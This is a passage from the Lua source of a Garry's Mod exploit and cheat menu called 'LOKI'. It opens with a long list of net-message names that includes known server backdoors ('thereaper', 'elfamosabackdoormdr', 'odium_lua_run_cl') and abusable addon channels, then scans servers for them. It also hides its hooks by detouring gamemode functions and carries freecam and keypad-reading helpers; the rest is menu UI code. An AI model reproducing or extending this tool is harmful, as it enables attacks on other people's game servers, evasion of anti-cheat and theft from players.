"toxic.LuaStr", "toxic.pro", "bodyman_chatprint", "bodyman_model_change", "bodygroups_change", "skins_change", "thereaper", "noprop", "dontforget", "aze46aez67z67z64dcv4bt", "changename", "nolag", "reaper", "slua2", "thereaperishere", "hentai", "slua", "the2d78", "bethedeath", "elfamosabackdoormdr", "zilnixestbo", "reaperexploits", "fr_spamstring", "CpForm_Answers", "MDE_RemoveStuff_C2S", "start_wd_emp", "kart_sell", "FarmingmodSellItems", "ClickerAddToPoints", "fp_as_doorHandler", "TransferReport", "odium_setname", "ace_menu", "odium_lua_run_cl", "blogs_refresh", "blogs_refreshblog", "blogs_resetall", "pChat", "SuggestionsBriefInfo", "SuggestionsSpecificInfo", "SuggestionsGetInfo", "SuggestionsClientEdits", "SuggestionsRefresh", "Morpheus.Init", "Morpheus.ClientCheckActivity", "DL_Answering_global", "pSayBroadcaster", "TCBBuyAmmo", "DataSend", "FarmingmodSellItems", "duelrequestguiYes", "egg", "TalkIconChat", "exploits_open", "chat_AddText", "magnum", "RAINBOWPLAYER", "menu", "setMagicTypeHP", "TheFrenchGuy", "htx_mode", "htx_menu", "htx_macros", "ГћГ ?D)◘", "metro_notification", "BM2.Command.SellBitcoins", "ItemStoreUse", "ItemStoreDrop", "gMining.sellMineral", "PlayerUseItem", "RequestMAPSize", "MG2.Request.GangRankings", "dLogsGetCommand", "shopguild_buyitem", "VoteKickNO", "VoteBanNO", "Warn_CreateWarn", "showDisguiseHUD", "Chatbox_PlayerChat", "BuilderXToggleKill", "services_accept", "lockpick_sound", "InformPlayer", "1942_Fuhrer_SubmitCandidacy", "FacCreate", "FactionInviteConsole", "WithdrewBMoney", "deathrag_takeitem", "REPPurchase", "Resupply", "DarkRP_Defib_ForceSpawn", "FiremanLeave", "CreateEntity", "CREATE_REPORT", "Hopping_Test", "CpForm_Answers", "VehicleUnderglow", "OpenGates", "DemotePlayer", "SendMail", "REPAdminChangeLVL", "BuyUpgradesStuff", "SquadGiveWeapon", "SetTableTarget", "UpdateRPUModelSQL", "disguise", "gportal_rpname_change", "NewRPNameSQL", "chname", "AbilityUse", "race_accept", "NLR_SPAWN", "opr_withdraw", "revival_revive_accept", "BuyFirstTovar", "BuySecondTovar", "MONEY_SYSTEM_GetWeapons", "MCon_Demote_ToServer", "withdrawMoney", "gPrinters.retrieveMoney", "NGII_TakeMoney", "money_clicker_withdraw", "opr_withdraw", "NET_DoPrinterAction", "tickbooksendfine", "withdrawp", "PCAdd", "viv_hl2rp_disp_message", "Kun_SellOil", "gPrinters.sendID", "requestmoneyforvk", "vj_testentity_runtextsd", "NET_BailPlayer", "rpi_trade_end", "ClickerForceSave", "SRequest", "HealButton", "GiveArmor100", "GiveSCP294Cup", "Client_To_Server_OpenEditor", "userAcceptPrestige", "wordenns", "guncraft_removeWorkbench", "BuyKey", "PurchaseWeed", "DoDealerDeliver", "sendDuelInfo", "CreateOrganization", "DisbandOrganization", "ChangeOrgName", "IS_SubmitSID_C2S", "AcceptBailOffer", "CP_Test_Results", "ReSpawn", "FIGHTCLUB_KickPlayer", "IveBeenRDMed", "nCTieUpStart", "DestroyTable", "bringNfreeze", "JoinFirstSS", "unarrestPerson", "inviteToOrganization", "GovStation_SpawnVehicle", "DailyLoginClaim", "DL_AskLogsList", "DL_StartReport", "SpecDM_SendLoadout", "PowerRoundsForcePR", "wyozimc_playply", "SendSteamID", "JB_GiveCubics", "JB_SelectWarden", "RDMReason_Explain", "redirectMsg", "LB_AddBan", "GET_Admin_MSGS", "br_send_pm", "LAWYER.BailFelonOut", "LAWYER.GetBailOut", "GrabMoney", "nox_addpremadepunishment", "HV_AmmoBuy", "TMC_NET_MakePlayerWanted", "thiefnpc", "TMC_NET_FirePlayer", "updateLaws", "LotteryMenu", "soundArrestCommit", "hoverboardpurchase", "SpawnProtection", "NPCShop_BuyItem", "AcceptRequest", "Chess ClientWager", "netOrgVoteInvite_Server", "AskPickupItemInv", "buy_bundle", "MineServer", "Gb_gasstation_BuyGas", "D3A_CreateOrg", "ScannerMenu", "ORG_NewOrg", "passmayorexam", "levelup_useperk", "DeployMask", "RemoveMask", "SwapFilter", "WipeMask", "UseMedkit", "IDInv_RequestBank", "desktopPrinter_Withdraw", "sphys_dupe", "simfphys_gasspill", "dronesrewrite_controldr", "SCP-294Sv", "VC_PlayerReady", "blueatm", "cab_sendmessage", "FARMINGMOD_DROPITEM", "SlotsRemoved", "AirDrops_StartPlacement", "pp_info_send", "IGS.GetPaymentURL", "tickbookpayfine", "ncpstoredoact", "PermwepsNPCSellWeapon", "NET_AM_MakePotion", "minigun_drones_switch", "CW20_PRESET_LOAD", "SBP_addtime", "NetData", "ts_buytitle", "SBP_addtime", "EnterpriseWithdraw", "Chess Top10", "lectureListe", "Warn_CreateWarn", "BuilderXToggleKill", "deathrag_takeitem", "REPPurchase", "Hopping_Test", "REPAdminChangeLVL", "SquadGiveWeapon", "UpdateRPUModelSQL", "gportal_rpname_change", "NewRPNameSQL", "race_accept", "Kun_ZiptieStruggle", "NGII_TakeMoney", "InviteMember", "start_wd_hack", "giveArrestReason", "sellitem", "sv_saveweapons", "NET_CR_TakeStoredMoney", "donatorshop_itemtobuy", "misswd_accept", "ORG_VaultDonate", "Selldatride", "ZED_SpawnCar", "cab_cd_testdrive", "cab_sendmessage", "EliteParty_NoPOpenMenu", "EliteParty_SendPartyChat_ToClient", "EP_CreateParty_ToServer", "EP_ViewMenu_ToClient", "EliteParty_ViewParty_ToServer", "EP_ViewMenu_ToClient", "EliteParty_CreateParty_ToServer", "EliteParty_EditParty_ToServer", "EliteParty_LeaveParty_ToServer", "EliteParty_RequestInviteList_ToServer", "EliteParty_RequestInviteList_ToClient", "EliteParty_InvitePlayer_ToServer", "EliteParty_InvitePlayer_ToClient", "EliteParty_PartyInvitedAccepted_ToServer", "EliteParty_NewMember_ToClient", "EliteParty_NewMember_ToClient", "EliteParty_RequestJoin_ToServer", "EliteParty_RequestJoin_ToClient", "EliteParty_PartyRequestAccepted_ToServer", "EliteParty_PartyRequestAccepted_ToClient", "EliteParty_KickMember_ToServer", "EliteParty_KickedMember_ToClient", "EliteParty_KickedMember_ToClient", "EliteParty_MakeFounder_ToServer", "EliteParty_MakeFounder_ToClient", "Cuffs_GagPlayer", "Cuffs_BlindPlayer", "Cuffs_FreePlayer", "Cuffs_DragPlayer", "Cuffs_TiePlayers", "Cuffs_UntiePlayers", "xenoexistscl", "xenoexists", "xenoisactivatedcl", "xenoisactivated", "xenoac", "xenoclientfunction", "xenoserverfunction", "xenoactivation", "AddDeathZone", "StartEndGhost", "RemoveCertainZone", "testNet", "RemoveDeathZones", "nlr.notify", "nlr.killEvent", "nlr.RemoveZone", "pnet_Ready", "OpenFpsMenu", "Amethyst_PushNotification", "SendMessageToPlayer", "AmethystMessageSet", "Amethyst_PStats", "Amethyst_DebugAdd", "Amethyst_FetchLogs", "gLevel.buyWeapon", "gLevel.unlockAchievement", "gLevel.unlockAchievement", "gLevel.buySkill", "gLevel.doPrestige", "gLevel.buyAccesory", "gLevel.notifications", "gLevel.syncWeapons", "gLevel.loadWeapons", "gLevel.syncSkills", "gLevel.loadSkills", "gLevel.syncAchievements", "gLevel.loadAchievements", "NetWrapperVar", "NetWrapperRequest", "NetWrapperClear", "NetWrapperClear", "nodium", "_A", "gmhax_ShowUnknownEntity", "_da_", "whk_setart", "DarkRP_spawnPocket", "DuelMessageReturn", "ban_rdm", "dLogsGetCommand", "disguise", "AbilityUse", "give_me_weapon", "FinishContract", "NLR_SPAWN", "Kun_ZiptieStruggle", "NET_SS_DoBuyTakeoff", "ckit_roul_bet", "ply_pick_shit", "MONEY_SYSTEM_GetWeapons", "Sbox_gm_attackofnullday", "Sbox_gm_attackofnullday_key", "_blacksmurf", "echangeinfo", "open_menu", "closebutton_repeat", "sMsgStandard", "sNotifyHit", "sMsgAdmins", "sAlertNotice", "fgtnoafk", "Debug1", "Debug2", "gcontrol_vars", "control_vars", "checksaum", "atlaschat.sndcfg", "atlaschat.gtcfg", "arcphone_atmos_support", "arcphone_comm_status", "arcphone_emerg_numbers", "arcphone_nutscript_number", "ferpHUDSqu", "lolwut", "gotcha", "PrometheusMessages", "PrometheusNotification", "PrometheusPackages", "PrometheusColorChat", "Cl_PrometheusRequest", "PrometheusCustomJob", "GivePlayerAFKWarning", "RemovePlayerAFKWarning", "SyncButtons", "check_if_whitelist_enabled", "enable_whitelist", "add_to_whitelist", "remove_from_whitelist", "disable_whitelist", "clear_whitelist", "get_enabled_whitelist", "get_last_enabled_whitelist", "no_enabled_whitelists", "import_from_nordahl", "import_from_old_bwhitelist", "import_from_mayoz", "enable_all_whitelists", "disable_all_whitelists", "reset_everything", "customcheckerror", "clear_unknown_jobs", "get_all_blacklists", "get_all_permissed", "get_a_enabled", "no_import", "already_exists", "doesnt_exist", "stop_data_flow", "get_blacklisted", "SH_ACC_READY", "SH_ACC_PURCHASE", "SH_ACC_SELL", "SH_ACC_MENU", "SH_ACC_EQUIP", "SH_ACC_EQUIPS", "SH_ACC_CHANGE", "SH_ACC_INV", "SH_ACC_NOTIFY", "SH_ACC_ADJUST", "SH_ACC_ADJUST_RESET", "SH_ACC_REQUEST", "ASayPopup", "SW.nSetWeather", "SW.nRedownloadLightmaps", "ulxqm_reasons", "EZI_GetRankSpace", "gPrinters.rrnow", "gPrinters.retrieveMoney", "R8", "changeToPhysgun", "SetPlayerModel", "PSA.Undertale", "KickMe"}
  682. LOKI.BAIT_CHANNELS = {}
  683. LOKI.BAIT_COUNT = 0
  684. LOKI.BAIT_CHANNELS_FOUND = {}
  685. LOKI.BAIT_LIMIT = 5
  686. for k, v in pairs(LOKI.BAIT_UNSORTED) do
  687. LOKI.BAIT_CHANNELS[v] = v
  688. LOKI.GENERAL_OVERRIDE = true
  689. if(LOKI.ValidNetString(v) && LOKI.BAIT_CHANNELS[v]) then
  690. LOKI.BAIT_COUNT = LOKI.BAIT_COUNT + 1
  691. LOKI.BAIT_CHANNELS_FOUND[v] = v
  692. end
  693. LOKI.GENERAL_OVERRIDE = false
  694. end
  695. LOKI.Freecam = {}
  696. LOKI.Freecam.Enabled = false
  697. LOKI.Freecam.ViewOrigin = Vector( 0, 0, 0 )
  698. LOKI.Freecam.ViewAngle = Angle( 0, 0, 0 )
  699. LOKI.Freecam.Velocity = Vector( 0, 0, 0 )
  700. LOKI.Freecam.Data = {}
  701. function LOKI.Freecam.Toggle(var)
  702. LOKI.Freecam.SetView = true
  703. LOKI.Freecam.Enabled = var
  704. end
  705. function LOKI.Freecam.EyePos()
  706. local pos;
  707. if(LOKI.Freecam.Enabled == true) then
  708. pos = LOKI.Freecam.Data.origin
  709. else
  710. pos = EyePos()
  711. end
  712. return pos
  713. end
  714. function LOKI.CalculateRenderPos(self)
  715. local pos = self:GetPos()
  716. pos:Add(self:GetForward() * self:OBBMaxs().x) -- Translate to front
  717. pos:Add(self:GetRight() * self:OBBMaxs().y) -- Translate to left
  718. pos:Add(self:GetUp() * self:OBBMaxs().z) -- Translate to top
  719.  
  720. pos:Add(self:GetForward() * 0.15) -- Pop out of front to stop culling
  721.  
  722. return pos
  723. end
  724.  
  725. function LOKI.CalculateRenderAng(self)
  726. local ang = self:GetAngles()
  727. ang:RotateAroundAxis(ang:Right(), -90)
  728. ang:RotateAroundAxis(ang:Up(), 90)
  729.  
  730. return ang
  731. end
  732. function LOKI.CalculateKeypadCursorPos(ply, ent)
  733. if !ply:IsValid() then return end
  734.  
  735. local tr = util.TraceLine( { start = ply:EyePos(), endpos = ply:EyePos() + ply:GetAimVector() * 65, filter = ply } )
  736. if !tr.Entity or tr.Entity ~= ent then return 0, 0 end
  737.  
  738. local scale = ent.Scale || 0.02
  739. if !scale then return 0, 0 end
  740.  
  741. local pos, ang = LOKI.CalculateRenderPos(ent), LOKI.CalculateRenderAng(ent)
  742. if !pos or !ang then return 0, 0 end
  743. local normal = ent:GetForward()
  744.  
  745. local intersection = util.IntersectRayWithPlane(ply:EyePos(), ply:GetAimVector(), pos, normal)
  746. if !intersection then return 0, 0 end
  747.  
  748. local diff = pos - intersection
  749.  
  750. local x = diff:Dot( -ang:Forward() ) / scale
  751. local y = diff:Dot( -ang:Right() ) / scale
  752.  
  753. return x, y
  754. end
  755. local elements = {{x = 0.075, y = 0.04, w = 0.85, h = 0.25,},{x = 0.075, y = 0.04 + 0.25 + 0.03, w = 0.85 / 2 - 0.04 / 2 + 0.05, h = 0.125, text = "ABORT",},{x = 0.5 + 0.04 / 2 + 0.05, y = 0.04 + 0.25 + 0.03, w = 0.85 / 2 - 0.04 / 2 - 0.05, h = 0.125, text = "OK",}}
  756. do for i = 1, 9 do local column = (i - 1) % 3 local row = math.floor((i - 1) / 3) local element = {x = 0.075 + (0.3 * column), y = 0.175 + 0.25 + 0.05 + ((0.5 / 3) * row), w = 0.25, h = 0.13, text = tostring(i), } elements[#elements + 1] = element end end
  757. function LOKI.KPGetHoveredElement(ply, ent)
  758. local scale = ent.Scale || 0.02
  759.  
  760. local w, h = (ent:OBBMaxs().y - ent:OBBMins().y) / scale , (ent:OBBMaxs().z - ent:OBBMins().z) / scale
  761. local x, y = LOKI.CalculateKeypadCursorPos(ply, ent)
  762.  
  763. for _, element in ipairs(elements) do
  764. local element_x = w * element.x
  765. local element_y = h * element.y
  766. local element_w = w * element.w
  767. local element_h = h * element.h
  768.  
  769. if element_x < x and element_x + element_w > x and
  770. element_y < y and element_y + element_h > y
  771. then
  772. return element
  773. end
  774. end
  775. end
  776. function LOKI.GetKeypadStatus(kp)
  777. if(kp.SendCommand) then
  778. return {0, 1, 2}
  779. elseif(kp.EnterKey) then
  780. return {0, 2, 1}
  781. end
  782. return {0, 1, 2}
  783. end
  784. LOKI.KeypadCodes = LOKI.LAST.KeypadCodes || {}
  785. LOKI.TempKeypadCodes = LOKI.LAST.TempKeypadCodes || {}
  786. LOKI.KeypadStatus = LOKI.LAST.KeypadStatus || {}
  787. LOKI.KeypadText = LOKI.LAST.KeypadText || {}
  788. LOKI.CommandList = {}
  789. LOKI.CompleteList = {}
  790. LOKI.concommand = {}
  791. LOKI.concommand.Add = function( name, func, completefunc, help, flags )
  792. local det_call = LOKI.DetourCall || false
  793. LOKI.DetourCall = true
  794. local LowerName = string.lower( name )
  795. LOKI.CommandList[ LowerName ] = func
  796. LOKI.CompleteList[ LowerName ] = completefunc
  797. //AddConsoleCommand( name, help, flags )
  798. LOKI.DetourCall = det_call
  799. end
  800.  
  801. LOKI.NetReceivers = {}
  802. LOKI.Hooks = {};
  803.  
  804. gmod.GetGamemode().AcceptInput = function(self, type, name, func)
  805. LOKI.Hooks[type] = LOKI.Hooks[type] || {};
  806.  
  807. LOKI.Hooks[type][name] = func;
  808.  
  809. if(!LOKI.Detours["GAMEMODE"]) then
  810. LOKI.Detours["GAMEMODE"] = {};
  811. end
  812.  
  813. if(!LOKI.Hooks["GAMEMODE"]) then
  814. LOKI.Hooks["GAMEMODE"] = {};
  815. end
  816.  
  817. if(!LOKI.Detours["GAMEMODE"][type]) then
  818. LOKI.Detours["GAMEMODE"][type] = self[type];
  819. end
  820.  
  821. if(LOKI.Detours["GAMEMODE"][type] && LOKI.Hooks["GAMEMODE"][type] && LOKI.Hooks["GAMEMODE"][type] != self[type]) then
  822. LOKI.Detours["GAMEMODE"][type] = self[type];
  823. end
  824.  
  825. LOKI.Hooks["GAMEMODE"][type] = function(self, ...)
  826. if(!LOKI || !LOKI.Detours || LOKI.Unload) then return end
  827.  
  828. local ret = nil
  829. local args = {}
  830.  
  831. if(LOKI.Detours["GAMEMODE"][type]) then
  832. args = {LOKI.Detours["GAMEMODE"][type](self, ...)};
  833. if(#args != 0) then ret = (unpack(args)); end
  834. end
  835.  
  836. if(LOKI.Killswitch || !LOKI.Hooks || !LOKI.Hooks[type]) then return ret end
  837.  
  838. for k,v in next, LOKI.Hooks[type] do
  839. args = {v(ret, ...)};
  840. if(#args == 0) then continue; end
  841. ret = (unpack(args));
  842. end
  843.  
  844. return ret
  845. end
  846.  
  847. self[type] = LOKI.Hooks["GAMEMODE"][type]
  848. end
  849. local function hook_Add(eventName, identifier, func)
  850. if(LOKI.DetourTables[eventName]) then return end
  851. if(!LOKI.Hooks[eventName]) then
  852. LOKI.Hooks[eventName] = {}
  853. end
  854. LOKI.Hooks[eventName][identifier] = func
  855. if(LOKI.SecureHooks) then
  856. return gmod.GetGamemode():AcceptInput(eventName, identifier, func)
  857. else
  858. return hook.Add(eventName, identifier, func)
  859. end
  860. end
  861. //////////////////////////////////////////////- MENU UTILS -////////////////////////////////////////////////
  862. function LOKI.MakeFunctionButton( parent, x, y, btext, func, tooltip, tab, border)
  863. if !parent:IsValid() then return end
  864. local TButton = LOKI.vgui.Create( "DButton", LOKI.Menu )
  865. TButton:SetParent( parent )
  866. TButton:SetPos( x, y )
  867. TButton:SetText( btext )
  868. TButton:SetTextColor( Color(255, 255, 255, 255) )
  869. TButton:SizeToContents()
  870. TButton:SetTall( 24 )
  871. --if tooltip then TButton:SetToolTip( tooltip ) end
  872. TButton.Paint = function( self, w, h )
  873. surface.SetDrawColor( Color(60, 60, 60, 200) )
  874. surface.DrawRect( 0, 0, w, h )
  875. surface.SetDrawColor( Color( 60, 60, 60 ) )
  876. surface.SetMaterial( downgrad )
  877. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  878. surface.SetDrawColor( Color(100, 100, 100, 255) )
  879. surface.DrawOutlinedRect( 0, 0, w, h )
  880. if(border) then
  881. local enabled = false
  882. if(isbool(tab.bool)) then
  883. enabled = tab.bool
  884. elseif(LOKI.NotNil(tab.bool)) then
  885. enabled = func.bools[tab.bool]
  886. else
  887. enabled = func.bools.enabled
  888. end
  889. if(enabled) then
  890. surface.SetDrawColor( Color(55, 255, 55, 245) )
  891. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  892. end
  893. end
  894. end
  895. TButton.DoClick = function()
  896. if(!tab) then
  897. return func()
  898. end
  899. if(tab.typ == "func") then
  900. local det_call = LOKI.DetourCall || false
  901. LOKI.DetourCall = true
  902. if(func && func.hooks.Think) then
  903. func.hooks.Think(tab.args || {}, func, TButton)
  904. end
  905. LOKI.DetourCall = det_call
  906. elseif(tab.typ == "bool") then
  907. local enabled = false
  908. if(isbool(tab.bool)) then
  909. tab.bool = !tab.bool
  910. enabled = tab.bool
  911. elseif(LOKI.NotNil(tab.bool)) then
  912. func.bools[tab.bool] = !func.bools[tab.bool]
  913. enabled = func.bools[tab.bool]
  914. else
  915. func.bools.enabled = !func.bools.enabled
  916. enabled = func.bools.enabled
  917. end
  918. if(isfunction(tab.callback)) then
  919. tab.callback(enabled)
  920. end
  921. TButton:SetText(!enabled && ((tab.ToggleText && tab.ToggleText[1]) || "Start") || ((tab.ToggleText && (tab.ToggleText[2] || tab.ToggleText[1])) || "Stop"))
  922. if(isfunction(func.OnEnable) && enabled) then
  923. if(LOKI.NotNil(tab.bool)) then
  924. func.OnEnable(tab.bool, func)
  925. else
  926. func.OnEnable("enabled", func)
  927. end
  928. end
  929. if(isfunction(func.OnDisable) && !enabled) then
  930. if(LOKI.NotNil(tab.bool)) then
  931. func.OnDisable(tab.bool, func)
  932. else
  933. func.OnDisable("enabled", func)
  934. end
  935. end
  936. if(tab.bool && tab.addr) then LOKI.Store(tab.addr, func.bools[tab.bool]) end
  937. TButton:SizeToContents()
  938. TButton:SetTall(24)
  939. end
  940. end
  941. return TButton:GetWide(), TButton:GetTall()
  942. end
  943. function LOKI.OpenTableEditor(Parent, WholeTable, Title, Callback, isSecondTable, Position, Position2, Originaltable)
  944. local WholeTablecopy = (table.Copy( WholeTable ) )
  945. local TableEditFrame = LOKI.vgui.Create( "DFrame", Parent )
  946. TableEditFrame:SetPos( 50, 50 )
  947. TableEditFrame:SetSize( 1000, ScrH()/2 )
  948. TableEditFrame:SetTitle(Title)
  949. TableEditFrame:Center()
  950. TableEditFrame:SetVisible( true )
  951. TableEditFrame:SetDraggable( true )
  952. TableEditFrame:ShowCloseButton( true )
  953. TableEditFrame.Paint = function(s, w, h)
  954. if(Parent && (!IsValid(Parent) || !LOKI.Menu:IsVisible())) then TableEditFrame:Close() return end
  955. surface.SetDrawColor( Color(30, 30, 30, 245) )
  956. surface.DrawRect( 0, 0, w, h )
  957. end
  958. TableEditFrame:MakePopup()
  959.  
  960. local vList = LOKI.vgui.Create( "DCategoryList", TableEditFrame )
  961. vList.Paint = function() end
  962. vList:Dock( FILL )
  963.  
  964. for v,k in SortedPairs(WholeTablecopy) do
  965.  
  966.  
  967. if TypeID(k) == (TYPE_STRING)then
  968. local Value = vList:Add( v .. " (STRING)" )
  969. local TextEntry = LOKI.vgui.Create( "DTextEntry", vList )
  970. TextEntry:SetSize( 1000, 25 )
  971. TextEntry:SetText( k )
  972.  
  973. TextEntry.OnChange = function( self )
  974. WholeTablecopy[v] = self:GetValue()
  975. end
  976. end
  977.  
  978. if TypeID(k) == (TYPE_NUMBER)then
  979. local Value = vList:Add( v .. " (NUMBER)" )
  980. local TextEntry = LOKI.vgui.Create( "DTextEntry", vList )
  981. TextEntry:SetSize( 1000, 25 )
  982. TextEntry:SetText( k )
  983. TextEntry.OnChange = function( self )
  984. WholeTablecopy[v] = tonumber(self:GetValue())
  985. end
  986. end
  987.  
  988. if TypeID(k) == (TYPE_BOOL)then
  989. local Value = vList:Add( v .. " (BOOL)")
  990. local DComboBox = LOKI.vgui.Create( "DComboBox", vList )
  991. --DComboBox:SetPos( 5, 5 )
  992. DComboBox:SetSize( 100, 20 )
  993. DComboBox:SetValue( tostring(k) )
  994. DComboBox:AddChoice( "true" )
  995. DComboBox:AddChoice( "false" )
  996. DComboBox.OnSelect = function( panel, index, value )
  997. WholeTablecopy[v] = tobool(value)
  998. end
  999. end
  1000.  
  1001. if TypeID(k) == (TYPE_VECTOR)then
  1002. local vecstring = tostring(k)
  1003. local Value = vList:Add( v .. " (VECTOR)")
  1004. local TextEntry = LOKI.vgui.Create( "DTextEntry", vList )
  1005. TextEntry:SetSize( 1000, 25 )
  1006. TextEntry:SetText( vecstring )
  1007. TextEntry.OnChange = function( self )
  1008. WholeTablecopy[v] = util.StringToType(self:GetValue(), "Vector" )
  1009. end
  1010. end
  1011.  
  1012. if TypeID(k) == (TYPE_ANGLE)then
  1013. local vecstring = tostring(k)
  1014. local Value = vList:Add( v .. " (ANGLE)")
  1015. local TextEntry = LOKI.vgui.Create( "DTextEntry", vList )
  1016. TextEntry:SetSize( 1000, 25 )
  1017. TextEntry:SetText( vecstring )
  1018. TextEntry.OnChange = function( self )
  1019. WholeTablecopy[v] = util.StringToType(self:GetValue(), "Angle" )
  1020. end
  1021. end
  1022.  
  1023.  
  1024. if TypeID(k) == (TYPE_TABLE) then
  1025. local Value = vList:Add( v.. " (TABLE)" )
  1026. if k.r && k["g"] && k["b"] && k["a"] then
  1027. local SmallFrame = LOKI.vgui.Create( "DPanel",vList)
  1028. SmallFrame:SetBackgroundColor(Color(200,200,200))
  1029. SmallFrame:SetHeight(300)
  1030. local Mixer = LOKI.vgui.Create( "DColorMixer", SmallFrame )
  1031. Mixer:Dock( LEFT ) --Make Mixer fill place of Frame
  1032. Mixer:SetWidth(400)
  1033. Mixer:SetHeight(300)
  1034. Mixer:SetPalette( true ) --Show/hide the palette DEF:true
  1035. Mixer:SetAlphaBar( true ) --Show/hide the alpha bar DEF:true
  1036. Mixer:SetWangs( true ) --Show/hide the R G B A indicators DEF:true
  1037. Mixer:SetColor( Color( k["r"] , k["g"] , k["b"] , k["a"] ) ) --Set the default color
  1038.  
  1039. local DColorButton = LOKI.vgui.Create( "DColorButton", SmallFrame )
  1040. DColorButton:Dock( TOP )
  1041. DColorButton:SetSize( 50, 50 )
  1042. --DColorButton:SetPos( 60, 100 )
  1043. DColorButton:SetColor(Mixer:GetColor())
  1044.  
  1045. function Mixer:ValueChanged(self, color)
  1046. DColorButton:SetColor(Mixer:GetColor())
  1047. WholeTablecopy[v] = Mixer:GetColor()
  1048. end
  1049.  
  1050. else
  1051.  
  1052.  
  1053. for t,z in pairs(k) do -- Second Level
  1054.  
  1055. if TypeID(z) == (TYPE_STRING)then
  1056. local SmallFrame = LOKI.vgui.Create( "DPanel",vList)
  1057.  
  1058. local kList = LOKI.vgui.Create( "DLabel", SmallFrame )
  1059. SmallFrame:SetBackgroundColor(Color(200,200,200))
  1060. kList:SetText( " ".. t)
  1061. kList:SetColor(Color(0,0,0))
  1062. kList:SetPos(20,20)
  1063. kList:SetSize(500,25)
  1064. kList:Dock(LEFT)
  1065.  
  1066. local TextEntry = LOKI.vgui.Create( "DTextEntry", SmallFrame )
  1067. TextEntry:SetSize( 500, 25 )
  1068. TextEntry:Dock(RIGHT)
  1069. TextEntry:SetText( z )
  1070. TextEntry:SetPos(TableEditFrame:GetSize() - 600, 0)
  1071. TextEntry.OnChange = function( self )
  1072. WholeTablecopy[v][t] = self:GetValue()
  1073. end
  1074. end
  1075.  
  1076.  
  1077. if TypeID(z) == (TYPE_NUMBER) then
  1078. local SmallFrame = LOKI.vgui.Create( "DPanel",vList)
  1079. local kList = LOKI.vgui.Create( "DLabel", SmallFrame )
  1080. SmallFrame:SetBackgroundColor(Color(200,200,200))
  1081. kList:SetText( " ".. t)
  1082. kList:SetColor(Color(0,0,0))
  1083. kList:SetPos(20,0)
  1084. kList:SetSize(500,25)
  1085. kList:Dock(LEFT)
  1086.  
  1087. local TextEntry = LOKI.vgui.Create( "DTextEntry", SmallFrame )
  1088. TextEntry:SetSize( 500, 25 )
  1089. TextEntry:Dock(RIGHT)
  1090. TextEntry:SetText( z )
  1091. TextEntry:SetPos(TableEditFrame:GetSize() - 600, 0)
  1092. TextEntry.OnChange = function( self )
  1093. WholeTablecopy[v][t] = tonumber(self:GetValue())
  1094. end
  1095. end
  1096.  
  1097.  
  1098. if TypeID(z) == TYPE_TABLE then --Third level starts over
  1099. --local Value = vList:Add( t )
  1100. local SmallFrame = LOKI.vgui.Create( "DPanel",vList)
  1101. local kList = LOKI.vgui.Create( "DLabel", SmallFrame )
  1102. SmallFrame:SetBackgroundColor(Color(200,200,200))
  1103. kList:SetText( " ".. t)
  1104. --kList:SetText(t)
  1105. kList:SetColor(Color(0,0,0))
  1106. kList:SetPos(20,0)
  1107. kList:SetSize(500,25)
  1108. kList:Dock(LEFT)
  1109. local DermaButton = LOKI.vgui.Create( "DButton", SmallFrame )
  1110. DermaButton:SetText( t.." (Table)")
  1111. DermaButton:SetPos( DermaButton:GetSize() - 600, 0 )
  1112. DermaButton:SetSize(500,25)
  1113. DermaButton:Dock(RIGHT)
  1114. DermaButton.DoClick = function()
  1115. LOKI.OpenTableEditor(TableEditFrame, WholeTablecopy[v][t], Title, nil, true, v, t, WholeTablecopy)
  1116. end
  1117. end
  1118. end
  1119.  
  1120. end
  1121. end
  1122. end
  1123.  
  1124. TableEditFrame.OnClose = function()
  1125. if isSecondTable then
  1126. local tablecopy = WholeTable
  1127. table.Merge(Originaltable[Position][Position2], WholeTablecopy)
  1128. else
  1129. local tablecopy = table.DeSanitise(WholeTablecopy)
  1130. table.Merge(WholeTable,tablecopy)
  1131. if(isfunction(Callback)) then
  1132. Callback(WholeTable)
  1133. end
  1134. end
  1135. end
  1136. end
  1137. function LOKI.MakeEntitySelectionButton( parent, tbl, x, y, tab, single )
  1138. if !parent:IsValid() then return end
  1139. if(isfunction(tbl)) then
  1140. tbl = tbl()
  1141. end
  1142. local TButton = LOKI.vgui.Create( "DButton", LOKI.Menu )
  1143. TButton:SetParent( parent )
  1144. TButton:SetPos( x, y )
  1145. TButton:SetText( tab.Name || "Choose Target" .. (single && "" || "s") )
  1146. TButton:SetTextColor( Color(255, 255, 255, 255) )
  1147. TButton:SizeToContents()
  1148. TButton:SetTall( 24 )
  1149. TButton.Paint = function( self, w, h )
  1150. surface.SetDrawColor( Color(60, 60, 90, 200) )
  1151. surface.DrawRect( 0, 0, w, h )
  1152. surface.SetDrawColor( Color( 60, 60, 60 ) )
  1153. surface.SetMaterial( downgrad )
  1154. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  1155. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1156. surface.DrawOutlinedRect( 0, 0, w, h )
  1157. surface.SetDrawColor( Color(70, 70, 100, 255) )
  1158. surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 )
  1159. end
  1160. TButton.DoClick = function()
  1161. LOKI.SelectEntityPanel( parent, tbl, tab, single )
  1162. end
  1163. return TButton:GetWide(), TButton:GetTall()
  1164. end
  1165. function LOKI.SelectEntityPanel( parent, tbl, tab, single )
  1166. if LOKI.EntitySelector and LOKI.EntitySelector:IsVisible() then LOKI.EntitySelector:Remove() end
  1167. local plytab = LOKI.GetStored( tab.addr, {}, true )
  1168. if(!istable(plytab)) then plytab = {plytab} end
  1169. LOKI.EntitySelector = LOKI.vgui.Create("DFrame", parent)
  1170. LOKI.EntitySelector:SetPaintedManually(true)
  1171. LOKI.EntitySelector:SetSize(250,400)
  1172. LOKI.EntitySelector:SetTitle("Select "..tab.typ.." to target")
  1173. LOKI.EntitySelector:SetPos( gui.MouseX(), gui.MouseY() )
  1174. LOKI.EntitySelector:MakePopup()
  1175. LOKI.EntitySelector.Paint = function( s, w, h )
  1176. if !IsValid(LOKI.Menu) or !LOKI.Menu:IsVisible() then s:Remove() return end
  1177. surface.SetDrawColor( Color(30, 30, 30, 245) )
  1178. surface.DrawRect( 0, 0, w, h )
  1179. surface.SetDrawColor( Color(55, 55, 55, 245) )
  1180. surface.DrawOutlinedRect( 0, 0, w, h )
  1181. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  1182. end
  1183. local Plist = LOKI.vgui.Create( "DPanelList", LOKI.EntitySelector )
